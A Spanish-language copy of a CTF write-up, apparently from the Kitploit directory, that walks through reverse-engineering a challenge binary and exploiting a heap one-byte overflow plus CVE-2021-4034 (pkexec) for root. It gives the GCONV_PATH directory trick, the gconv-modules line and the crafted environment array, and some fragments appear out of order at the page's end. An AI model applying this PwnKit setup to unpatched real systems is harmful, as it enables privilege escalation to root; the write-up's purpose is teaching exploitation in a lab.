Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-4034-CTF-writeup | Kitploit
Herramientas/GitHubGitHub/wechicken456/cve-2021-4034-ctf-writeup
ExplotaciónIngeniería InversaCTFAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubwechicken456/cve-2021-4034-ctf-writeup

CVE-2021-4034-CTF-writeup

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
2hace 2 añosAún no revisado

CVE-2021-4034-CTF-writeup

Este es un reto CTF de tipo pwn que escribí en C y que requiere que el usuario explote la vulnerabilidad CVE-2021-4034. Los jugadores reciben 2 binarios en el directorio challenge de este repositorio. El binario chal implementa el reto CTF y shelly.so es un binario auxiliar.

Cómo emular este reto

Al momento de escribir este writeup, el Dockerfile aún no está completo. El Dockerfile es necesario para desplegar este reto durante un CTF en vivo, pero no localmente: aún puedes emular este reto localmente configurando los permisos de usuario e instalando los paquetes vulnerables de la siguiente manera:

  1. Para explotar esta vulnerabilidad con éxito, los jugadores que no estén en una máquina Linux deberían instalar primero una VM Linux. Después, necesitarás instalar un kernel vulnerable. Instrucciones sobre cómo hacerlo: [https://askubuntu.com/a/700221]
  2. Instala los paquetes libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1.
  3. Crea un archivo flag.txt propiedad de root:root en el directorio actual.
  4. Crea un usuario sin privilegios. Cambia a este usuario.
  5. Descarga los archivos de la carpeta challenge al directorio actual.
  6. Ejecuta chal como el usuario sin privilegios.

Análisis a ciegas

Ejecutar el binario chal nos da una idea vaga de lo que hace este binario:``` WELCOME TO THE HUB CTRL+ALT+DELICIOUS We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte

  1. ENTER THE HUB
  2. QUIT 1 Order number: 0x7ffde93681f0 Enter your name: tin
  3. ADD NEW ORDER
  4. EDIT ORDER
  5. SHOW ORDER
  6. CANCEL ORDER
  7. CHECKOUT
  8. DONE 1 Pick your bread: aaaa Select your spread: bbbb Choose your veg: cccc Slam your meat & egg: dddc Any side notes for the cook? 0000
  9. ADD NEW ORDER
  10. EDIT ORDER
  11. SHOW ORDER
  12. CANCEL ORDER
  13. CHECKOUT
  14. DONE 1 Pick your bread: AAAA Select your spread: BBBB Choose your veg: CCCC Slam your meat & egg: DDDD Any side notes for the cook? 1111
  15. ADD NEW ORDER
  16. EDIT ORDER
  17. SHOW ORDER
  18. CANCEL ORDER
  19. CHECKOUT
  20. DONE 3 Enter order index: 0 aaaa, bbbb, cccc, dddc, 0000
  21. ADD NEW ORDER
  22. EDIT ORDER
  23. SHOW ORDER
  24. CANCEL ORDER
  25. CHECKOUT
  26. DONE 3 Enter order index: 1 AAAA, BBBB, CCCC, DDDD, 1111
  27. ADD NEW ORDER
  28. EDIT ORDER
  29. SHOW ORDER
  30. CANCEL ORDER
  31. CHECKOUT
  32. DONE 4 Enter order index: 1
  33. ADD NEW ORDER
  34. EDIT ORDER
  35. SHOW ORDER
  36. CANCEL ORDER
  37. CHECKOUT
  38. DONE 3 Enter order index: 1 Invalid index!
  39. ADD NEW ORDER
  40. EDIT ORDER
  41. SHOW ORDER
  42. CANCEL ORDER
  43. CHECKOUT
  44. DONE 5 /notes ./tin/notes
  45. ADD NEW ORDER
  46. EDIT ORDER
  47. SHOW ORDER
  48. CANCEL ORDER
  49. CHECKOUT
  50. DONE 6
  51. ENTER THE HUB
  52. QUIT 2 Come again :)
root@kitploit:~
Jugar con el tamaño de entrada en la función `Add` y con los índices de las funciones `Cancel` no nos da nada especial (sin desbordamiento ni fallo de segmentación). Sin embargo, algunas cosas interesantes:
  - Parece que los pedidos se colocan en una lista (quizás una lista enlazada) y ¿están indexados desde 0?
  - Hay este `Order number: 0x7ffde93681f0` que parece imprimir alguna ubicación en la pila?
  - Además, el programa crea un directorio con nuestro nombre de entrada junto con 3 ejecutables, uno de los cuales es el archivo binario auxiliar que se nos proporciona:```sh
peasant@Tin-VM:~/Desktop$ ls
chal  chal.c  Dockerfile shelly.so  solve.py  tin
peasant@Tin-VM:~/Desktop$ ls -l tin/
total 28
-rwxrwx--- 1 peasant vboxsf     5 Feb  4 14:33 notes
-rwxrwx--- 1 peasant vboxsf    20 Feb  4 14:33 recipe
-rwxr-x--- 1 peasant vboxsf 16488 Feb  4 14:33 shelly.so
peasant@Tin-VM:~/Desktop$ cat tin/notes 
0000
peasant@Tin-VM:~/Desktop$ cat tin/recipe 
aaaa
bbbb
cccc
dddc

Los ejecutables contienen nuestra entrada.


Análisis con Ghidra

Puedes jugar con las demás funciones y esperar a toparte con algunos bugs (lo cual es probable), pero voy a ir al grano y abrir el programa en Ghidra.

Comparando las cadenas que aparecen al ejecutar el programa con las cadenas presentes en Ghidra, podemos renombrar algunas de las funciones FUN_* con nombres familiares:```C undefined8 main(void)

{ int iVar1; size_t sVar2; undefined2 *puVar3; long in_FS_OFFSET; int opt; int local_1c; char *local_18; long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "/recipe"; print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n"); print( "We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n" ); while( true ) { print("1. ENTER THE HUB\n"); print("2. QUIT\n"); __isoc99_scanf(&DAT_001030c5,&opt); getc(stdin); if (opt != 1) break; printf("Order number: %p\n",&local_18); print("Enter your name: "); __isoc99_scanf(&DAT_0010334f,&DAT_00105120); sVar2 = strlen(&DAT_00105120); puVar3 = (undefined2 *)malloc(sVar2 + 2); DAT_00105100 = puVar3; *puVar3 = 0x2f2e; *(undefined *)(puVar3 + 1) = 0; strcpy((char *)(DAT_00105100 + 1),&DAT_00105120); iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060); if (iVar1 == -1) { mkdir((char *)DAT_00105100,0x1c0); } DAT_00105140 = 0; order_cnt = 0; for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) { *(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0; } main_menu(); } print("Come again :)\n");

root@kitploit:~
The `printf("Order number: %p\n",&local_18);` **imprime la ubicación de una variable local en la pila.**

Una verificación rápida en gdb nos muestra que la dirección filtrada es la dirección del puntero a la cadena constante `/recipe`:```gdb
...
Order number: 0x7fffffffdfc0
...
gef➤  x/gx 0x7fffffffdfc0
0x7fffffffdfc0:	0x0000555555559020
gef➤  x/s 0x0000555555559020
0x555555559020:	"/recipe"

Vemos una llamada a mkdir, que crea un directorio con nuestro nombre de entrada en el directorio actual.

Estos son consistentes con nuestra observación cuando ejecutamos el programa. Luego inicializa alguna variable antes de llamar a la función main_menu, que se ve algo así:```C while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { print("1. ADD NEW ORDER\n"); print("2. EDIT ORDER\n"); print("3. SHOW ORDER\n"); print("4. CANCEL ORDER\n"); print("5. CHECKOUT\n"); print("6. DONE\n"); __isoc99_scanf(&DAT_001030c5,&local_40); getc(stdin); if (local_40 != 1) break; add_order(); } if (local_40 != 2) break; edit_order(); } if (local_40 != 3) break; show_order(); } if (local_40 != 4) break; cancel_order(); } if (local_40 != 5) break; checkout(); } if (local_40 == 6) break; if (local_40 == 0x539) { print( "\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN 'T GUESS THE SECRET RECIPE.\n" ); fgets(inp,0x20,stdin); getrandom(random-bytes,0x10,0); for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) { if (inp[local_3c] != random-bytes[local_3c]) { print("...Nuh Uh!...\n"); /* WARNING: Subroutine does not return */ exit(0); } print("...Ooh Yes.. sCruMpTioUs..."); } print("Fine... I'll give you a taste.\n"); FUN_00101504(); }

root@kitploit:~
Si no estás familiarizado con REV, esta es la descompilación de la sentencia `switch` en C. Hay una opción interesante, también conocida como `0x539`. Permite a los jugadores adivinar `0x10` bytes aleatorios. Si todos los bytes son iguales, entonces llama a `FUN_00101504();`, que llama a `system("cat flag.txt");`. De lo contrario, el programa sale.

Sin embargo, intentar adivinar por fuerza bruta 16 bytes aleatorios equivale a probar todas las 256**16 = 340282366920938463463374607431768211456 posibilidades. Buena suerte con esto lol.

Incluso si pruebas todas las posibilidades, el programa sigue sin privilegios, así que no puede leer la flag. Esta sentencia `cat flag.txt` es intencional, no solo para engañar a los jugadores sin experiencia y hacer que elijan esta opción del menú `0x539`, sino también para evitar que los jugadores simplemente llamen a esta función para leer la flag, cuestión en la que profundizaremos más adelante.
***
## Agregar```C
  int iVar1;
  undefined8 *puVar2;
  void *pvVar3;
  undefined8 *ptr2;
  
  if (order_cnt < 10) {
    puVar2 = (undefined8 *)malloc(0x30);
    print("Pick your bread: ");
    readline(puVar2 + 1,8);
    print("Select your spread: ");
    readline(puVar2 + 2,8);
    print("Choose your veg: ");
    readline(puVar2 + 3,8);
    print("Slam your meat & egg: ");
    readline(puVar2 + 4,9);
    iVar1 = order_cnt;
    pvVar3 = malloc(0x30);
    *(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
    *puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
    print("Any side notes for the cook? ");
    readline(*puVar2,0x30);
    puVar2[5] = 0;
    if (DAT_00105140 != (undefined8 *)0x0) {
      for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
      }
      ptr2[5] = puVar2;
      puVar2 = DAT_00105140;
    }
    DAT_00105140 = puVar2;
    order_cnt = order_cnt + 1;
  }
...

Si algunas de las variables no te resultan fáciles de leer de esta forma, es porque me tomé un tiempo para renombrarlas así, algo que deberías hacer mientras haces ingeniería inversa para mantener el registro de las cosas. Bien, vamos a los puntos principales:

  • puVar2 es un chunk de malloc que tiene un tamaño de 0x30.
  • El campo 0 es el puntero puVar3, que tiene 8 bytes de largo y apunta a los notes del chunk actual.
  • Los siguientes 4 campos tienen cada uno 8 bytes de largo, aunque podemos leer 9 bytes en el cuarto campo, por lo que podemos desbordar 1 byte en el quinto campo.
  • Sin embargo, la línea puVar2[5] = 0; sobrescribe de todos modos nuestro desbordamiento de 1 byte con NULL.
  • Luego, si la variable global DAT_00105140 == 0, simplemente la establecemos al nuevo chunk, así que podría ser un puntero head de la lista.
  • De lo contrario, iteramos hasta el último chunk de la lista actual y establecemos su quinto campo al nuevo chunk. => El quinto campo es el puntero al siguiente chunk en la lista enlazada.

Editar```C

... print("Enter order index: "); __isoc99_scanf(&DAT_001030c5,&local_20); getc(stdin); if ((local_20 < 0) || (order_cnt <= local_20)) { print("Invalid index!\n"); } else { local_18 = head; for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) { local_18 = (undefined8 *)local_18[5]; } print("Pick your bread: "); readline(local_18 + 1,8); print("Select your spread: "); readline(local_18 + 2,8); print("Choose your veg: "); readline(local_18 + 3,8);WE print("Slam your meat & egg: "); readline(local_18 + 4,9); print("Any side notes for the cook? "); readline(*local_18,0x30); } ...

root@kitploit:~
Hay una comprobación para nuestro índice de entrada, así que no podemos editar ubicaciones arbitrarias.

**Sin embargo, la lectura de 9 bytes en el 4.º campo, que se desborda 1 byte hacia el 5.º campo, sigue ahí!!! Podemos sobrescribir 1 byte en el puntero `nxt`**
***
## Show```C
...
    if (local_18 != (undefined8 *)0x0) {
      printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
    }
...

%s imprimirá hasta el carácter NULL, así que si nuestro 4.º campo tiene 8 bytes de longitud, entonces el 4.º %s imprimirá el 4.º campo de nuestro chunk + el valor del puntero nxt en el 5.º campo. => ¡Conseguimos una fuga de heap!!!*


Cancel

Nada interesante aquí.


Checkout```C

strcpy(local_d8,dir_name); sVar2 = strlen(dir_name); strcpy(local_d8 + sVar2,"/recipe"); creat(local_d8,0x1c0); iVar1 = open(local_d8,2); if (iVar1 == -1) { print("Error opening file f.\n"); /* WARNING: Subroutine does not return / exit(0); } chmod(local_d8,0x1f8); strcpy(local_98,dir_name); sVar2 = strlen(dir_name); strcpy(local_98 + sVar2,"/notes"); printf("%s %s\n","/notes",local_98); creat(local_98,0x1c0); __fd = open(local_98,2); if (__fd == -1) { print("Error opening file f_notes.\n"); / WARNING: Subroutine does not return */ exit(0); } chmod(local_98,0x1f8);

root@kitploit:~
Así que crea los archivos `recipe` y `notes` en el directorio con nuestro nombre de entrada. Las instrucciones `chmod` establecen estos archivos en modo ejecutable: `0x1f8` y `0x1c0` son `0700` y `0770` en base octal, respectivamente.```C
...
  for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
  {
    sVar2 = strlen((char *)(local_e0 + 1));
    write(iVar1,local_e0 + 1,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 2));
    write(iVar1,local_e0 + 2,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 3));
    write(iVar1,local_e0 + 3,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen((char *)(local_e0 + 1));
    write(iVar1,local_e0 + 4,sVar2);
    write(iVar1,&DAT_00103127,1);
    sVar2 = strlen(*local_e0);
    write(__fd,*local_e0,sVar2);
    write(__fd,&DAT_00103127,1);
    local_e0 = (char **)local_e0[5];
  }
  iVar1 = close(iVar1);
  if (-1 < iVar1) {
    iVar1 = close(__fd);
    if (-1 < iVar1) {
      local_58 = 0x2f706d742f207063;
      local_50 = 0x732e796c6c656873;
      local_48 = 0x206f;
      local_40 = 0;
      local_38 = 0;
      local_30 = 0;
      local_28 = 0;
      local_20 = 0;
      strcpy((char *)((long)&local_48 + 2),dir_name);
      system((char *)&local_58);
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
  }
...

Este enorme y desordenado bloque de código básicamente escribe el contenido de nuestros fragmentos en estos archivos, y luego ejecuta el comando cp /tmp/shelly.so dir_name, donde dir_name es el nombre que le damos al programa al principio.


FUN_00101e84```C

void FUN_00101e84(void)

{ long in_FS_OFFSET; char *local_18; long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("HOLD UP, LET HIM COOK."); local_18 = (char *)0x0; execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array); if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }

root@kitploit:~
Esta es una función interesante. Llama a `pkexec` con un `NULL argv` y el puntero del array `notes` como variables de entorno, que es el comando vulnerable en nuestro CVE-2021-4034. ¿Esto sugiere que tenemos que manipular nuestros `notes` y redirigir la ejecución a esta función de alguna manera?

***
## shelly.so
Abrirlo en Ghidra nos dirá que es obviamente una biblioteca `set-UID-root`, similar a las utilizadas en la explotación del CVE.

***
# Resumen
Algunos puntos importantes:
1. Tenemos una fuga de pila al comienzo del programa (número de pedido) que contiene la dirección de la cadena constante `/recipe` utilizada para crear el archivo `recipe`.
2. El campo 0 de un chunk es su puntero `notes`.
3. El campo 5 de un chunk es el puntero `nxt` al siguiente chunk en la lista enlazada.
4. `Show` puede filtrar una dirección del heap que es el campo 5 de un chunk.
5. `Edit` puede sobrescribir 1 byte en el campo 5. **¡¡ESTE ES EL ÚNICO BUG DE ESCRITURA ARBITRARIA!!**
6. `FUN_00101e84` llama a `pkexec` con argv NULL y las variables de entorno que controlamos (array `notes`).
***
# Explotación

## Disposición de los chunks del heap
Una inspección rápida en gdb puede decirnos el desplazamiento entre los distintos chunks de nuestro programa:```gdb
...
Pick your bread: aaaa
Select your spread: a
Choose your veg: a
Slam your meat & egg: a
Any side notes for the cook? 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: bbbb
Select your spread: b
Choose your veg: b
Slam your meat & egg: b
Any side notes for the cook? 1111
...
gef➤  search-pattern aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
  0x55555555aae8 - 0x55555555aaec  →   "aaaa" 
gef➤  x/30gx 0x55555555aae8-0x18
0x55555555aad0:	0x0000000000000000	0x0000000000000041
0x55555555aae0:	0x000055555555ab20	0x0000000061616161
0x55555555aaf0:	0x0000000000000061	0x0000000000000061
0x55555555ab00:	0x0000000000000061	0x000055555555ab60
0x55555555ab10:	0x0000000000000000	0x0000000000000041
0x55555555ab20:	0x0000000030303030	0x0000000000000000
0x55555555ab30:	0x0000000000000000	0x0000000000000000
0x55555555ab40:	0x0000000000000000	0x0000000000000000
0x55555555ab50:	0x0000000000000000	0x0000000000000041
0x55555555ab60:	0x000055555555aba0	0x0000000062626262
0x55555555ab70:	0x0000000000000062	0x0000000000000062
0x55555555ab80:	0x0000000000000062	0x0000000000000000
0x55555555ab90:	0x0000000000000000	0x0000000000000041
0x55555555aba0:	0x0000000031313131	0x0000000000000000
0x55555555abb0:	0x0000000000000000	0x0000000000000000

Entonces los chunks son de tamaño 0x40 (incluyendo 0x10 bytes de metadatos), y están separados (desde el inicio del chunk actual hasta el inicio del siguiente chunk) por un offset de 0x40+0x40 = 0x80. Esto se debe a que los notes se asignan cada vez que asignamos un chunk, por lo que siempre quedan entre chunks consecutivos.

Escribir en una ubicación arbitraria

Antes de saltar al exploit, ¿cómo abusamos de los bugs de desbordamiento de 1 byte para escribir en una dirección arbitraria? Podemos usar la siguiente estrategia:

  1. Asignar 3 chunks A , B , C.
  2. Filtrar el puntero nxt del 2º chunk (2º punto en la sesión Summary).
    • La dirección filtrada (que es el siguiente chunk) es C.
    • Entonces, la dirección del chunk actual será B = C-0x80.
    • Sea x el byte MENOS significativo de B.
  3. Desbordar el byte x + 8 en el 5º campo del chunk actual. El puntero nxt resultante será B + 8.
    • Tenemos que tener cuidado aquí: usando el fragmento de memoria de arriba, si tomamos el primer chunk como el actual, es decir, A = 0x55555555aae0, entonces la dirección filtrada sería B = 0x55555555ab60 y x = 0xe8.
    • Si sobrescribimos el último byte en el 5º campo de A en 0x55555555ab08 con , el puntero resultante será , que no es lo que queríamos.

1ª forma - saltar a "cat flag.txt"

Hay una forma de saltar a esta función, que no voy a comentar. Pero antes de intentarlo, echa un vistazo al Dockerfile. ¿Notas algo sobre flag.txt?``` ... chown root:root /home/ctf/flag.txt ... USER peasant CMD ["/home/ctf/start.sh"]

root@kitploit:~
***ES PROPIEDAD DE ROOT, MIENTRAS QUE EL PROGRAMA SE EJECUTA Y ES PROPIEDAD DE UN USUARIO SIN PRIVILEGIOS***.
Así que aunque ejecutes "cat flag.txt", no va a imprimir la flag porque el programa no tiene permiso para acceder al archivo. Esto implica que necesitamos escalar a root para poder leer la flag.
## 2.ª forma - CVE-2021-4034
Para explotar CVE-2021-4034, necesitamos la siguiente configuración:
1. Un directorio con el nombre `GCONV_PATH=.`
2. En este directorio, necesitamos un archivo ejecutable que sea el nombre del directorio donde estará nuestro archivo de configuración `gconv-modules`. Que sea `recipe` en nuestro reto.
3. En el directorio `recipe`, necesitamos un archivo llamado `gconv-modules` con el contenido que controlemos, y una biblioteca dinámica que nos lance una shell (¿quizás es el binario proporcionado `shelly.so`)?
4. Después, en nuestro `gconv-modules`, necesitamos tener el mismo CHARSET que en el paso 5 de abajo, y el nombre de nuestra biblioteca dinámica `shelly.so` así: `module UTF-8// SHELLY// shelly 2`.
5. Después de todo esto, llamamos a `pkexec` con argv NULL y el array de variables de entorno manipulado = `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}`.

Ahora, explotamos este reto para conseguir la configuración anterior.

***
### Objetivo 1-2
Los pasos 1-2 son fáciles: solo tenemos que iniciar sesión con un nombre de usuario `GCONV_PATH=.` para crear este directorio. Luego hacemos un `checkout` para crear el ejecutable `recipe` en este directorio. Después volvemos al primer menú.
***
### Objetivo 3-4
Iniciamos sesión con el nombre de usuario `recipe` para crear este directorio. Ahora, *necesitamos* crear un archivo llamado `gconv-modules`, pero `checkout` solo crea los archivos `recipe` y `notes`.

¿Y si sobrescribimos la ubicación de memoria para la cadena `/notes` y la convertimos en `/gconv-modules`? Esto podría funcionar, pero requiere que esa memoria sea escribible. Vamos a comprobarlo en gdb:```gdb
gef➤  search-pattern /notes
[+] Searching '/notes' in memory
[+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
  0x555555559010 - 0x555555559016  →   "/notes" 

¡Y es escribible!

¿Cómo realizamos la escritura?

  1. Usamos la estrategia de escritura arbitraria descrita anteriormente para LEER arbitrariamente la ubicación de la dirección de pila filtrada. Esto nos indica dónde está /recipe.
  2. Una inspección rápida en gdb puede indicarnos que el desplazamiento desde /recipe hasta /notes es 0x10. Resta esto de la dirección de /recipe en el paso 1 para obtener la dirección de /notes.
  3. Usa la estrategia de escritura arbitraria anterior para sobrescribir /notes con /gconv-modules.

En cuanto a escribir el contenido correcto en el archivo gconv-modules, sabemos que en checkout, el contenido de notes de los chunks se escribirá en /notes, que ahora es /gconv-modules. Para asegurarnos, podemos simplemente proporcionar la cadena module UTF-8// SHELLY// shelly 2 a cada notes.

Así que ahora, cada vez que llamemos a checkout, creará 2 archivos recipe y gconv-modules y escribirá algunas líneas module UTF-8// SHELLY// shelly 2 (usamos shelly porque ese es el nombre de la biblioteca .so set-uid-root proporcionada) en el archivo gconv-modules. También copiará un shelly.so al mismo directorio.

Objetivo 5

  1. Asignamos 4 chunks cuyos notes son las variables de entorno correspondientes. El array de punteros notes tendrá 4 punteros a estos 4 notes y un puntero NULL final, que es exactamente lo que queríamos.
  2. Asigna chunks adicionales y usa la misma estrategia que usamos para el objetivo 3-4 para sobrescribir el RIP de la función main con nuestra función secreta FUN_00101e84.
    • ¿Cómo sabemos dónde está el RIP? ¿Recuerdas nuestra dirección de pila filtrada al comienzo del programa? Entra en gdb para averiguar su desplazamiento con respecto al RIP, luego suma ese desplazamiento a la dirección filtrada real para obtener el RIP.
    • ¿Cómo sabemos dónde está main? ¿Recuerdas nuestra dirección filtrada de /recipe del paso 2 del Objetivo 3-4? ¡Haz lo mismo aquí!
  3. Disfruta de tu shell :)

El script de resolución con comentarios se proporciona en este repositorio. No dudes en contactarme si tienes alguna pregunta :)

Descargar herramienta
x
nxt
0x55555555**ab**e8 != 0x55555555**aa**e8
  • Por lo tanto, tenemos que elegir un chunk actual y el siguiente chunk de modo que su SEGUNDO byte MENOS significativo sean iguales.
  • Ahora tenemos que el 3er chunk está en B + 8 en lugar de C. Edita el chunk B para que su 1er campo (bread) contenga la dirección target a la que queremos escribir.
  • Edita el 3er chunk, lo que sobrescribirá el contenido a partir de B + 8. ¡El puntero notes de este 3er chunk es el target! Así que todo lo que escribamos en notes se escribirá en target.